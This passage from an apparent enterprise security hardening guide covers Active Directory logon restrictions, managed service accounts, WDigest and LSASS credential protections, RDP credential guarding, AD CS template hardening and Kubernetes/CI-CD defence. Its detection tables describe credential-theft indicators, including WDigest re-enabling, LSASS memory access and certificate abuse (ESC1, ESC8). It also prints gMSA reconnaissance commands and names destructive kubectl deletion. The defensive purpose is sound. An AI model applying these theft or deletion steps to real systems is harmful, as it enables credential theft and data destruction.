Accounts delegated with domain-based privileged access should be explicitly denied access to standard workstations and laptop systems within the context of the following settings (which can be configured using GPO settings similar to what are depicted in Figure 32):

  • Deny access to this computer from the network (also include S-1-5-114: NT AUTHORITY\Local account and member of Administrators group) (SeDenyNetworkLogonRight)

  • Deny logon as a batch job (SeDenyBatchLogonRight)

  • Deny logon as a service (SeDenyServiceLogonRight)

  • Deny logon locally (SeDenyInteractiveLogonRight)

  • Deny logon through Terminal Services (SeDenyRemoteInteractiveLogonRight)

Example of Privileged Account Access Restrictions for a Standard Workstation Using GPO Settings

Figure 32: Example of privileged account access restrictions for a standard workstation using GPO settings

Additionally, using GPOs, permissions can be restricted on endpoints to protect against privilege escalation and potential data theft by reducing the scope of accounts that have the following user rights assignments:

  • Debug programs (SeDebugPrivilege

  • Back up files and directories (SeBackupPrivilege

  • Restore files and directories (SeRestorePrivilege

  • Take ownership of files or other objects (SeTakeOwnershipPrivilege)

Detection Opportunities for Privileged Account Logons

Use Case

MITRE ID

Description

Attempted Logon of a Privileged Account from a Nonprivileged Access Workstation

T1078 – Valid Accounts

Search for logon attempts correlating to highly privileged accounts authenticating to systems that reside outside of the Tier 0 layer.

Table 22: Detection opportunities for privileged account logons

Service Account Logon Restrictions

Organizations should also consider enhancing the security of domain-based service accounts to restrict the capability for the accounts to be used for interactive, remote desktop, and, where possible, network-based logons. 

Minimum recommended logon hardening for service accounts (on endpoints where the service account is not required for interactive or remote logon purposes):

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
    • Deny logon locally (SeDenyInteractiveLogonRight)
    • Deny logon through Terminal Services (SeDenyRemoteInteractiveLogonRight)

Additional recommended logon hardening for service accounts (on endpoints where the service accounts is not required for network-based logon purposes):

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
    • Deny access to this computer from the network (SeDenyNetworkLogonRight)

If a service account is only required to be leveraged on a single endpoint to run a specific service, the service account can be further restricted to only permit the account's usage on a predefined listing of endpoints (Figure 33).

  • Active Directory Users and Computers > Select the account
    • Account tab
      • Log On To button > Select the proper scope of computers for access
Option to Restrict an Account to Log onto Specific Endpoints

Figure 33: Option to restrict an account to log onto specific endpoints

Detection Opportunities for Service Account Logons

Use Case

MITRE ID

Description

Anomalous Logon from a Service Account

T1078 – Valid Accounts

Search for login attempts for a service account on a new (unexpected) endpoint. This will require baselining service accounts to expected (approved) systems.

Table 23: Detection opportunities for service account logons

Managed/Group Managed Service Accounts

Organizations with static service accounts should review the feasibility of migrating the service accounts to be managed service accounts (MSAs) or group managed service accounts (gMSAs).

MSAs were first introduced with the Windows Server 2008 R2 Active Directory schema (domain-functional level) and provide automatic password management (30-day rotation) for dedicated service accounts that are associated with running services on specific endpoints.

  • Standard MSA: The account is associated with a single endpoint, and the complex password for the account is automatically managed and changed on a predefined frequency (30 days by default). While an MSA can only be associated with a single computer account, multiple services on the same endpoint can leverage the MSA.

  • Group managed service account (gMSA): First introduced with Windows Server 2012 and are very similar to MSAs, but allow for a single gMSA to be leveraged across multiple endpoints.

Common uses for MSAs and gMSAs:

  • Scheduled Tasks

  • Internet Information Services (IIS) application pools

  • Structured Query Language (SQL) services (SQL 2012 and later) – Express editions are not supported by MSAs.

  • Microsoft Exchange services

  • Network Load Balancing (clustering) – gMSAs only

  • Third-party applications that support MSAs

Note: Threat actors can potentially discover accounts and groups that have permissions to read/leverage the password for a gMSA for privilege escalation and lateral movement. This can be accomplished by leveraging the get-adserviceaccount PowerShell cmdlet and enumerating the msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) configuration for a gMSA, which stores the security principals that can access the gMSA password. It is important that when configuring managed service accounts, organizations focus on restricting the scope of accounts and groups that have the ability to obtain and leverage the password for the managed service accounts and enforce structured monitoring of these accounts and groups.

For additional information related to MSAs and gMSAs, reference:

Detection Opportunities for Managed/Group Managed Service Accounts

Use Case

MITRE ID

Description

Group Membership Addition

T1069 – Permission Groups Discovery

T1098 – Account Manipulation

Search for MSAs/gMSAs and the associated PrincipalsAllowedToRetrieveManagedPassword or PrincipalsAllowedToDelegateToAccount permissions, which could provide the ability to leverage the MSA/gMSA for malicious purposes.

Example reconnaissance commands for querying for MSAs/gMSAs and associated attributes:

get-adserviceaccount

get-adserviceaccount -filter {name -eq 'account-name'} -prop * | select Name, MemberOf, PrincipalsAllowedToDelegateToAccount, PrincipalsAllowedToRetrieveManagedPassword

Figure 34: Example reconnaissance commands for querying for MSAs/gMSAs

Table 24: Detection opportunities for managed/group managed service accounts

Protected Users Security Group

By leveraging the Protected Users security group for privileged accounts, an organization can minimize various exposure factors and common exploitation methods by a threat actor or malware variant obtaining credentials for privileged accounts on disk or in memory from endpoints.

Beginning with Microsoft Windows 8.1 and Microsoft Windows Server 2012 R2 (and above), the Protected Users security group was introduced to manage credential exposure within an environment. Members of this group automatically have specific protections applied to accounts, including:

  • The Kerberos ticket granting ticket (TGT) expires after four hours, rather than the normal 10-hour default setting.

  • No NTLM hash for an account is stored in LSASS, since only Kerberos authentication is used (NTLM authentication is disabled for an account).

  • Cached credentials are blocked. A domain controller must be available to authenticate the account.

  • WDigest authentication is disabled for an account, regardless of an endpoint's applied policy settings.

  • DES and RC4 cannot be used for Kerberos preauthentication (Server 2012 R2 or higher); rather, Kerberos with AES encryption will be enforced.

  • Accounts cannot be used for either constrained or unconstrained delegation (equivalent to enforcing the Account is sensitive and cannot be delegated setting in Active Directory Users and Computers).

To provide domain controller-side restrictions for members of the Protected Users security group, the domain functional level must be Windows Server 2012 R2 (or higher). Microsoft Security Advisory KB2871997 adds compatibility support for the protections enforced for members of the Protected Users security group for Windows 7, Windows Server 2008 R2, and Windows Server 2012 systems.

Successful (Event IDs 303, 304) or failed (Event IDs 100, 104) logon events for members of the Protected Users security group can be recorded on domain controllers within the following event logs:

  • %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Authentication%4ProtectedUserSuccesses-DomainController.evtx
  • %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Authentication%4ProtectedUserFailures-DomainController.evtx

The event logs are disabled by default and must be enabled on each domain controller. The PowerShell cmdlets referenced in Figure 35 can be leveraged to enable the event logs for the Protected Users security group on a domain controller.

$log1 = New-Object System.Diagnostics.Eventing.Reader.EventLogConfiguration Microsoft-Windows-Authentication/ProtectedUserSuccesses-DomainController
$log1.IsEnabled=$true
$log1.SaveChanges()

$log2 = New-Object System.Diagnostics.Eventing.Reader.EventLogConfiguration Microsoft-Windows-Authentication/ProtectedUserFailures-DomainController
$log2.IsEnabled=$true
$log2.SaveChanges()

Figure 35: PowerShell cmdlets for enabling event logging for the Protected Users security group on domain controllers

Note: Service accounts (including MSAs) should not be added to the Protected Users security group, as authentication will fail.

If the Protected Users security group cannot be used, at a minimum, privileged accounts should be protected against delegation by configuring the account with the Account is Sensitive and Cannot Be Delegated flag in Active Directory.

Detection Opportunities for the Protected Users Security Group

Use Case

MITRE ID

Description

Removal of Account from Protected User Group

T1098 – Account Manipulation

Search for an account that has been removed from the Protected Users group. 

Attempted Logon of an Account in the Protected User Group from a Nonprivileged Access Workstation

T1078 – Valid Accounts

Search for logon attempts from accounts in the Protected Users group authenticating from workstations of nonprivileged users.

Table 25: Detection opportunities for the Protected Users security group

Clear-Text Password Protections

In addition to restricting access for privileged accounts, controls should be enforced that minimize the exposure of credentials and tokens in memory on endpoints.

On older Windows versions, clear-text passwords are stored in memory (LSASS) to primarily support WDigest authentication. WDigest should be explicitly disabled on all Windows endpoints where it is not disabled by default.

By default, WDigest authentication is disabled in Windows 8.1+ and in Windows Server 2012 R2+.

Beginning with Windows 7 and Windows Server 2008 R2, after installing KB2871997, WDigest authentication can be configured either by modifying the registry or by using the Microsoft Security Guide GPO template from the Microsoft Security Compliance Toolkit.

Registry Method
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
REG_DWORD = "0"

Figure 36: Registry key and value for disabling WDigest authentication

Another registry setting that should be explicitly configured is the TokenLeakDetectDelaySecs setting (Figure 37), which will clear credentials in memory of logged-off users after 30 seconds, mimicking the behavior of Windows 8.1 and above.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\TokenLeakDetectDelaySecs
REG_DWORD = "30"

Figure 37: Registry key and value for enforcing the TokenLeakDetectDelaySecs setting

Group Policy Method

Using the Microsoft Security Guide Group Policy template, WDigest authentication can be disabled via a GPO setting (Figure 38).

  • Computer Configuration > Policies > Administrative Templates > MS Security Guide > WDigest Authentication

    • Disabled
Disabling WDigest Authentication via the MS Security Guide Group Policy Template

Figure 38: Disabling WDigest authentication via the MS Security Guide Group Policy Template

Additionally, an organization should verify that Allow* settings are not specified within the registry keys referenced in Figure 39, as this configuration would permit the tspkgs/CredSSP providers to store clear-text passwords in memory.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation

Figure 39: Additional registry keys for hardening against clear-text password storage

Group Policy Reprocessing

Threat actors can manually enable WDigest authentication on endpoints by directly modifying the registry (UseLogonCredential configured to a value of 1). Even on endpoints where WDigest authentication is automatically disabled by default, it is recommended to enforce the GPO settings noted as follows, which will enforce automatic group policy reprocessing for the configured (expected) settings on an automated basis.

  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure security policy processing

    • Enabled - Process even if the Group Policy objects have not changed

  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure registry policy processing

    • Enabled - Process even if the Group Policy objects have not changed

Note: By default, Group Policy settings are only reprocessed and reapplied if the actual Group Policy was modified prior to the default refresh interval.

As KB2871997 is not applicable for Windows XP, Windows Server 2003, and Windows Server 2008, to disable WDigest authentication on these platforms, prior to a system reboot, WDigest needs to be removed from the listing of LSA security packages within the registry (Figure 40 and Figure 41).

HKLM\System\CurrentControlSet\Control\Lsa\Security Packages

Figure 40: Registry key to modify LSA security packages

LSA security Package Registry Key Before and After Removal of WDigest Authentication from Listing of Providers

Figure 41: LSA security package registry key before and after removal of WDigest authentication from listing of providers

Detection Opportunities for WDigest Authentication Conditions

Use Case

MITRE ID

Description

Enable WDigest Authentication

T1112 – Modify Registry

Search for evidence of WDigest being enabled in the Windows Registry.

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential

REG_DWORD = "1"

Figure 42: WDigest Windows Registry modification

LSASS Memory Access

T1003.002 - OS Credential Dumping - LSASS Memory

Monitor for processes accessing lsass.exe memory (Sysmon Event ID 10 with GrantedAccess 0x1010 or 0x1FFFFF). Alert on any non-system process opening a handle to LSASS. Deploy LSA Protection (RunAsPPL) and Credential Guard on all supported endpoints.

Table 26: Detection opportunities for WDigest authentication conditions

Credential Protections When Using RDP

Restricted Admin Mode for RDP

Restricted Admin mode for RDP can be enabled for all end-user systems assigned to personnel that perform Remote Desktop connections to servers or workstations with administrative credentials. This feature can limit the in-memory exposure of administrative credentials on a destination endpoint when accessed using RDP.

To leverage Restricted Admin RDP, the command referenced in Figure 43 can be invoked.

mstsc.exe /RestrictedAdmin

Figure 43: Command to invoke restricted admin RDP

When an RDP connection uses the Restricted Admin mode, if the authenticating account is an administrator on the destination endpoint, the credentials for the user account are not stored in memory; rather, the context of the user account appears as the destination machine account (domain\destination-computer$).

To leverage Restricted Admin mode for RDP, settings must be enforced on the originating endpoint in addition to the destination endpoint.

Originating Endpoint (Client Mode - Windows 7 and Windows Server 2008 R2 and above)

A GPO setting must be applied to the originating endpoint initiating the remote desktop session using the Restricted Admin feature.

  • Computer Configuration > Policies > Administrative Templates > System > Credential Delegation > Restrict delegation of credentials to remote servers

    • Require Restricted Admin > set to Enabled

      • Use the Following Restricted Mode > Required Restricted Admin

Configuring this GPO setting will result in the registry keys noted in Figure 44 being configured on an endpoint.

HKLM\Software\Policies\Microsoft\Windows\CredentialsDelegation\RestrictedRemoteAdministration
0 = Disabled
1 = Enabled

HKLM\Software\Policies\Microsoft\Windows\CredentialsDelegation\RestrictedRemoteAdministrationType
1 = Require Restricted Admin
2 = Require Remote Credential Guard
3 = Restrict Credential Delegation

Figure 44: Registry settings for requiring Restricted Admin mode

Destination Endpoint (Server Mode - Windows 8.1 and Windows Server 2012 R2 and above)

A registry setting will need to be configured (Figure 45).

HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin
0 = Enabled
1 = Disabled

Figure 45: Registry setting for enabling or disabling Restricted Admin RDP

Recommended: Set the registry value to 0 to enable Restricted Admin mode.

With Restricted Admin RDP, another setting that should be configured is the DisableRestrictedAdminOutboundCreds registry key (Figure 46).

HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdminOutboundCreds
0 = default value (doesn't exist) - Admin Outbound Creds are Enabled
1 = Admin Outbound Creds are Disabled

Figure 46: Registry setting for disabling admin outbound credentials

Recommended: Set the registry value to 1 to disable admin outbound credentials.

Note: With this setting set to 0, any outbound authentication requests will appear as the system (domain\destination-computer$) that a user connected to using Restricted Admin mode. Setting this to 1 disables the ability to authenticate to any downstream network resources when attempting to authenticate outbound from a system that a user connected to using Restricted Admin mode for RDP.

For additional information regarding Restricted Admin mode for RDP, reference:

Detection Opportunities for Restricted Admin Mode for RDP

Use Case

MITRE ID

Description

Disable Restricted Admin Mode for RDP

T1112 – Modify Registry

Search for an account disabling Restricted Admin mode for RDP in the Windows Registry.

HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin 

REG_DWORD = "1"

Figure 47: Restricted Admin mode for RDP being disabled in the Windows Registry on a destination endpoint

Disable Require Restricted Admin

T1484.001 – Domain Policy Modification: Group Policy Modification

Search for the Require Restricted Admin option being disabled within a GPO configuration. 

Computer Configuration > Policies > Administrative Templates > System > Credential Delegation > Restrict delegation of credentials to remote servers

"Require Restricted Admin" > set to Disabled

Figure 48: Require Restricted Admin being disabled in a GPO

Table 27: Detection opportunities for Restricted Admin Mode for RDP

Windows Defender Remote Credential Guard

For Windows 10 and Windows Server 2016 endpoints, Windows Defender Remote Credential Guard can be leveraged to reduce the exposure of privileged accounts in memory on destination endpoints when Remote Desktop is used for connectivity. With Remote Credential Guard, all credentials remain on the client (origination system) and are not directly exposed to the destination endpoint. Instead, the destination endpoint requests service tickets from the source as needed.

When a user logs in via RDP to an endpoint that has Remote Credential Guard enabled, none of the SSPs in memory store the account's clear-text password or password hash. Note that Kerberos tickets remain in memory to allow interactive (and single sign-on [SSO]) experiences from the destination server.

The Remote Desktop client (origination) host:

  • Must be running at least Windows 10 (v1703) to be able to supply credentials

  • Must be running at least Windows 10 (v1607) or Windows Server 2016 to use the user's signed-in credentials (no prompt for credentials)

  • User's account must be able to sign into both the client (origination) and the remote (destination) endpoint

  • Must be running the Remote Desktop Classic Windows application

  • Must use Kerberos authentication to connect to the remote host

  • The Remote Desktop Universal Windows Platform application does not support Windows Defender Remote Credential Guard.

Note: If the client cannot connect to a domain controller, then RDP attempts to fall back to NTLM. Windows Defender Remote Credential Guard does not allow NTLM fallback because this would expose credentials to risk.

The Remote Desktop remote (destination) host:

  • Must be running at least Windows 10 (v1607) or Windows Server 2016

  • Must allow Restricted Admin connections

  • Must allow the client's domain user to access Remote Desktop connections

  • Must allow delegation of nonexportable credentials

To enable Remote Credential Guard on the client (origination) host using a GPO configuration:

  • Computer Configuration > Administrative Templates > System > Credentials Delegation > Restrict delegation of credentials to remote servers
    • To require either Restricted Admin mode or Windows Defender Remote Credential Guard, choose Prefer Windows Defender Remote Credential Guard.
      • In this configuration, Remote Credential Guard is preferred, but it will use Restricted Admin mode (if supported) when Remote Credential Guard cannot be used.
      • Neither Remote Credential Guard nor Restricted Admin mode for RDP will send credentials in clear text to the Remote Desktop server.
    • To require Remote Credential Guard, choose Require Windows Defender Remote Credential Guard.
      • In this configuration, a Remote Desktop connection will succeed only if the remote computer meets the requirements for Remote Credential Guard.

To enable Remote Credential Guard on the remote (destination) host, see Figure 49.

HKLM\System\CurrentControlSet\Control\Lsa
Registry Entry: DisableRestrictedAdmin
Value: 0
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD

Figure 49: Registry key and command options to enable Remote Credential Guard on a remote (destination) host

To leverage Remote Credential Guard, use the command referenced in Figure 50.

mstsc.exe /remoteguard

Figure 50: Command to leverage Remote Credential Guard

Detection Opportunities for Windows Defender Remote Credential Guard

Use Case

MITRE ID

Description

Disable Remote Credential Guard

T1112 – Modify Registry

Search for an account disabling Remote Credential Guard in the Windows Registry.

HKLM\System\CurrentControlSet\Control\Lsa

Registry Entry: DisableRestrictedAdmin

Value: 1

Figure 51: Remote Credential Guard being disabled in the Windows Registry on a destination endpoint

Disable Require Remote Credential Guard

T1484.001 – Domain Policy Modification: Group Policy Modification

Search for the Require Remote Credential Guard option being disabled within a GPO configuration.
 

Computer Configuration > Administrative Templates > System > Credentials Delegation > Restrict delegation of credentials to remote servers

Figure 52: Remote Credential Guard being disabled in a GPO

Table 28: Detection opportunities for Windows Defender Remote Credential Guard

Restrict Remote Usage of Local Accounts

Local accounts that exist on endpoints are often a common avenue leveraged by threat actors to laterally move throughout an environment. This tactic is especially impactful when the password for the built-in local administrator account is configured to the same value across multiple endpoints.

To mitigate the impact of local accounts being leveraged for lateral movement, organizations should consider both limiting the ability of local administrator accounts to establish remote connections and creating unique and randomized passwords for local administrator accounts across the environment.

KB2871997 introduced two well-known SIDs that can be leveraged within GPO settings to restrict the use of local accounts for lateral movement.

  • S-1-5-113: NT AUTHORITY\Local account
  • S-1-5-114: NT AUTHORITY\Local account and member of Administrators group

Specifically, the SID S-1-5-114: NT AUTHORITY\Local account and member of Administrators group is added to an account's access token if the local account is a member of the BUILTIN\Administrators group. This is the most beneficial SID to leverage to help stop a threat actor (or ransomware variant) that propagates using credentials for any local administrative accounts.

Note: For SID S-1-5-114: NT AUTHORITY\Local account and member of Administrators group, if Failover Clustering is used, this feature should leverage a nonadministrative local account (CLIUSR) for cluster node management. If this account is a member of the local Administrators group on an endpoint that is part of a cluster, blocking the network logon permissions can cause cluster services to fail. Be cautious and thoroughly test this configuration on servers where Failover Clustering is used.

Step 1 – Option 1: S-1-5-114 SID

To mitigate the use of local administrative accounts from being used for lateral movement, use the SID S-1-5-114: NT AUTHORITY\Local account and member of Administrators group within the following settings:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
    • Deny access to this computer from the network (SeDenyNetworkLogonRight)
    • Deny logon as a batch job (SeDenyBatchLogonRight)
    • Deny logon as a service (SeDenyServiceLogonRight)
    • Deny logon through Terminal Services (SeDenyRemoteInteractiveLogonRight)
    • Debug programs (SeDebugPrivilege: Permission used for attempted privilege escalation and process injection)

Step 1 – Option 2: UAC Token-Filtering

An additional control that can be enforced via GPO settings pertains to the usage of local accounts for remote administration and connectivity during a network logon. If the full scope of permissions (referenced previously) cannot be implemented in a short timeframe, consider applying the User Account Control (UAC) token-filtering method to local accounts for network-based logons. 

To leverage this configuration via a GPO setting:

  1. Download the Security Compliance Toolkit (https://www.microsoft.com/en-us/download/details.aspx?id=55319) to use the MS Security Guide ADMX file. 

  2. Once downloaded, the SecGuide.admx and SecGuide.adml files must be copied to the \Windows\PolicyDefinitions and \Windows\PolicyDefinitions\en-US directories respectively.

  3. If a centralized GPO store is configured for the domain, copy the PolicyDefinitions folder to the C:\Windows\SYSVOL\sysvol\<domain>\Policies folder.

GPO Setting
  • Computer Configuration > Policies > Administrative Templates > MS Security Guide > Apply UAC restrictions to local accounts on network logons

    • Enabled

Once enabled, the registry value (Figure 53) will be configured on each endpoint.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

REG_DWORD = "0" (Enabled)

Figure 53: Registry key and value for enabling UAC restrictions for local accounts

When set to 0, remote connections with high-integrity access tokens are only possible using either the plain-text credential or password hash of the RID 500 local administrator (and only then depending on the setting of FilterAdministratorToken, which is configurable via the GPO setting of User Account Control: Admin Approval Mode for the built-in Administrator account).

The FilterAdministratorToken option can either enable (1) or disable (0) (default) Admin Approval mode for the RID 500 local administrator. When enabled, the access token for the RID 500 local administrator account is filtered and therefore UAC is enforced for this account (which can ultimately stop attempts to leverage this account for lateral movement across endpoints).

GPO Setting
  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > User Account Control: Admin Approval Mode for the built-in Administrator account

Once enabled, the registry value (Figure 54) will be configured on each endpoint.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken

REG_DWORD = "1" (Enabled)

Figure 54: Registry key and value for requiring Admin Approval Mode for local administrative accounts

Note: It is also prudent to ensure that the default setting for User Account Control: Run all administrators in Admin Approval Mode (EnableLUA option) is not changed from Enabled (default, as shown in Figure 55) to Disabled. If this setting is disabled, all UAC policies are also disabled. With this setting disabled, it is possible to perform privileged remote authentication using plain-text credentials or password hashes with any local account that is a member of the local Administrators group.

GPO Setting
  • Computer Configuration > Policies > Administrative Templates > MS Security Guide > User Account Control: Run all administrators in Admin Approval Mode

    • Enabled

Once enabled, the registry value (Figure 55) will be configured on each endpoint. This is the default setting.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

REG_DWORD = "1" (Enabled)

Figure 55: Registry key and value for requiring Admin Approval Mode for all local administrative accounts

UAC access token filtering will not affect any domain accounts in the local Administrators group on an endpoint.

Step 2: LAPS

In addition to blocking the use of local administrator accounts from remote authentication to access endpoints, an organization should align a strategy to enforce password randomization for the built-in local administrator account. For many organizations, the easiest way to accomplish this task is by deploying and leveraging Microsoft's Local Administrator Password Solutions (LAPS).

Additional information regarding LAPS.

Detection Opportunities for Local Accounts

Use Case

MITRE ID

Description

Attempted Remote Logon of Local Account

T1078.003 - Valid Accounts: Local Accounts

Search for remote logon attempts for local accounts on an endpoint.

Table 29: Detection opportunities for local accounts

Active Directory Certificate Services (AD CS) Protections

Active Directory Certificate Services (AD CS) is Microsoft's implementation of Public Key Infrastructure (PKI) and integrates directly with Active Directory forests and domains. It can be utilized for a variety of purposes, including digital signatures and user authentication. Certificate Templates are used in AD CS to issue certificates that have been preconfigured for particular tasks. They contain settings and rules that are applied to incoming certificate requests and provide instructions on how a valid certificate request is provided.

In June of 2021, SpecterOps published a blog post named Certified Pre-Owned, which details their research into possible attacks against AD CS. Since that publication, Mandiant has continued to observe both threat actors and red teamers enhance targeting of AD CS in support of post-compromise objectives. Mandiant's blog post and hardening guide address the continued abuse scenarios and AD CS attack vectors identified through our frontline observations of recent security breaches.

Discover Vulnerable Certificate Templates

Certificate templates that have been configured and published by AD CS are stored in Active Directory as objects with an object class of pKICertificateTemplate and can be discovered by blue teams as well as threat actors. Any account that is authenticated to Active Directory can query LDAP directly, with the built-in Windows command certutil.exe, or with specialized tools such as PSPKIAudit, Certipy, and Certify. Mandiant recommends using one of these methods to discover vulnerable certificate templates.

Harden Vulnerable Certificate Templates

Once discovered, vulnerable certificate templates should be hardened to prevent abuse.

  1. Ensure that all domain controllers and Certificate Authority servers are patched with the latest updates and hotfixes.

  2. After installing Windows update (KB5014754) and monitoring/remediating for Event IDs 39 and 41, configure Active Directory to support full enforcement mode to reject authentications based on weaker mappings in certificates.

  3. Using one of the aforementioned methods, regularly review published certificate templates, specifically for any settings related to SAN specifications configured in existing templates.

  4. Review the security permissions assigned to all published certificate templates and validate the scope of enrollment and write permissions are delegated to the correct security principals.

  5. Review published templates configured with the following Enhanced Key Usages (EKUs) that support domain authentication and verify the operational requirement for these configurations.

  • Any Purpose (2.5.29.37.0)

  • Subordinate CA (None)

  • Client Authentication (1.3.6.1.5.5.7.3.2)

  • PKINIT Client Authentication (1.3.6.1.5.2.3.4)

  • Smart Card Logon (1.3.6.1.4.1.311.20.2.2)

  • For templates with sensitive Enhanced Key Usage (EKU), limit enrollment permissions to predefined users or groups, as certificates with EKUs can be used for multiple purposes. Access control lists for templates should be audited to ensure that they align with the principle of least privilege.Templates that allow for domain authentication should be carefully reviewed to verify that built-in groups that contain a large scope of accounts are not assigned enrollment permissions. Example: built-in groups that could increase the risk for abuse include:

    • Everyone

    • NT AUTHORITY\Authenticated Users

    • Domain Users

    • Domain Computers

  • Where possible, enforce "CA Certificate Manager approval" for any templates that include a SAN as an issuance requirement. This will require that any certificate issuance requests be manually reviewed and approved by an identity assigned the "Issue and Manage Certificates" permission on a certificate authority server.

  • Ensure that Certificate Authorities have not been configured to accept any SAN (irrelevant of the template configuration). This is a non-default configuration and should be avoided wherever possible. This abuse vector is mitigated by KB5014754, but until enforcement of strong mappings is enforced, abuse could still occur based upon historical certificates missing the new OID containing the requester's SID. For additional information, reference the following Microsoft article.

  • Treat both root and subordinate certificate authorities as Tier 0 assets and enforce logon restrictions or authentication policy silos to limit the scope of accounts that have elevated access to the servers where certificate services are installed and configured.

  • Audit and review the NTAuthCertificates container in AD to validate the referenced CA certificates, as this container references CA certificates that enable authentication within AD. Before authenticating a principal, AD checks the NTAuthCertificates container for the CA specified in the authenticating certificate's Issuer field to validate the authenticity of the CA. If rogue or unauthorized CA certificates are present, this could be indicative of a security event that requires further triage and investigation.

  • To avoid the theft of a CA's private keys (e.g., via the DPAPI backup protocol), protect the private keys by leveraging a Hardware Security Module (HSM) on servers where certificate authority services are installed and configured.

  • Enforce multifactor authentication (MFA) for CA and AD management and operations.

  • Keep the root CA offline and use subordinate CAs to issue certificates.

  • Regularly validate and identify potential misconfigurations within existing certificate templates using the built-in Windows command certutil.exe, or with specialized tools such as PSPKIAudit, Certipy, and Certify. Public tools (e.g., PSPKIAudit, Certipy, or Certify) may be flagged by EDR products as they are frequently used by red teams and threat actors.

  • To mitigate NTLM Relay attacks in AD CS, enable Extended Protection For Authentication for Certificate Authority Web Enrollment and Certificate Enrollment Web Service. Additionally, require that AD CS accept only HTTPS connections. For additional details, reference the following Microsoft Article.

  • Enable audit logging for Certificate Services on CA servers and Kerberos Authentication Service on Domain Controllers by using group policy. Ensure that event IDs 4886 and 4887 from CA servers and 4768 from domain controllers are aggregated in the organization's SIEM solution.

  • Enable the audit filter on each CA server. This is a bitmask value that represents the seven different audit categories that can be enabled; if all values are enabled, the audit filter will have a value of 127.

  • Log and monitor events from the CA servers and domain controllers to enhance detections related to AD CS activities (steps 16 and 17 are needed to ensure the appropriate logs are generated).

  • Detection Opportunities for AD CS Abuse

    Certificate Request with Mismatched SAN (ESC1)

    T1649 - Steal or Forge Authentication Certificates

    Monitor event IDs 4886 (certificate request received) and 4887 (certificate issued) on CA servers. Alert when the requesting account's identity differs from the Subject Alternative Name (SAN) specified in the certificate.

    NTLM Relay to AD CS Web Enrollment (ESC8)

    T1557.001 - LLMNR/NBT-NS Poisoning and SMB Relay

    T1649 - Steal or Forge Authentication Certificates

    Monitor for NTLM authentication to AD CS HTTP enrollment endpoints from domain controllers or privileged servers. Correlate with PetitPotam coercion indicators. This attack chain provides a direct path from any domain user to Domain Admin.

    Table 30: Detection opportunities for AD CS abuse

    5. Preventing Destructive Actions in Kubernetes and CI/CD Pipelines

    Organizations should implement a proactive, defense-in-depth technical hardening strategy to systematically address foundational security gaps and mitigate the risk of destructive actions across their Kubernetes environments and Continuous Integration/Continuous Delivery or Deployment (CI/CD) pipelines. Adversaries increasingly target the CI/CD pipeline and the Kubernetes control plane because they serve as centralized hubs with direct access to application deployments and underlying infrastructure.

    • Source and Build Compromise: Threat actors target code repositories (e.g., GitHub, GitLab, Azure DevOps) and build environments to steal injected environment variables and secrets. Attackers can then commit malicious workflow files designed to exfiltrate repository data or deploy unauthorized infrastructure.

    • Container Registry Poisoning: By compromising developer credentials or CI/CD pipeline permissions, attackers overwrite legitimate application images in the container registry. When the Kubernetes cluster pulls the updated image, it unknowingly deploys a poisoned container embedded with backdoors, ransomware, or destructive data-wiping logic.

    • Cluster-Level Destruction: Once an attacker gains a foothold inside the Kubernetes cluster, they often abuse over-permissive role-based access control (RBAC) configurations. This provides the capability to execute destructive commands using application programming interfaces (APIs) (e.g., kubectl delete deployments), wipe persistent volumes, or delete critical namespaces, effectively causing a loss of availability and application denial of service.

    • Secrets Extraction and Lateral Movement: Attackers routinely execute Kubernetes-specific attack tools to harvest secrets from compromised Kubernetes pods. These secrets often contain database passwords and cloud identity and access management (IAM) keys, allowing the attacker to pivot out of the cluster and impact cloud-based resources.

    Additional information related to securing CI/CD.

    Hardening and Mitigation Guidance

    To defend against CI/CD compromises and destructive actions within Kubernetes, organizations must enforce strict identity boundaries, cryptographic trust, and a least-privilege architecture.

    • Isolate the Kubernetes Control Plane: Disable unrestricted and public internet access to the Kubernetes API server. For managed services like GKE, EKS, and AKS, ensure the control plane is configured as a private endpoint or heavily restricted via authorized network IP allow-listing. Access to the API should only be permitted from trusted, designated internal management subnets or secure corporate VPNs.

    • Secure Management Interfaces and CI/CD Pipelines: Enforce mandatory MFA for all access to infrastructure management platforms, including source code repositories such as GitLab/GitHub, and container registries. Utilize hardened container images (e.g., Chainguard containers, Docker Hardened Images) as base images. Implement software supply chain security frameworks (like SLSA) by requiring image signing, provenance generation, and admission controllers (such as Binary Authorization). This ensures that the Kubernetes cluster will definitively reject and block any unverified or poisoned container images from running.

    • Enforce Strict RBAC and Least Privilege: To limit the "blast radius" of a compromised pod, restrict the use of the cluster-admin role and strictly prohibit wildcard (*) permissions for standard service accounts. Workloads must run under strict security contexts—blocking containers from executing as root, preventing privilege escalation, and restricting access to the underlying worker node (e.g., disabling hostPID and hostNetwork).

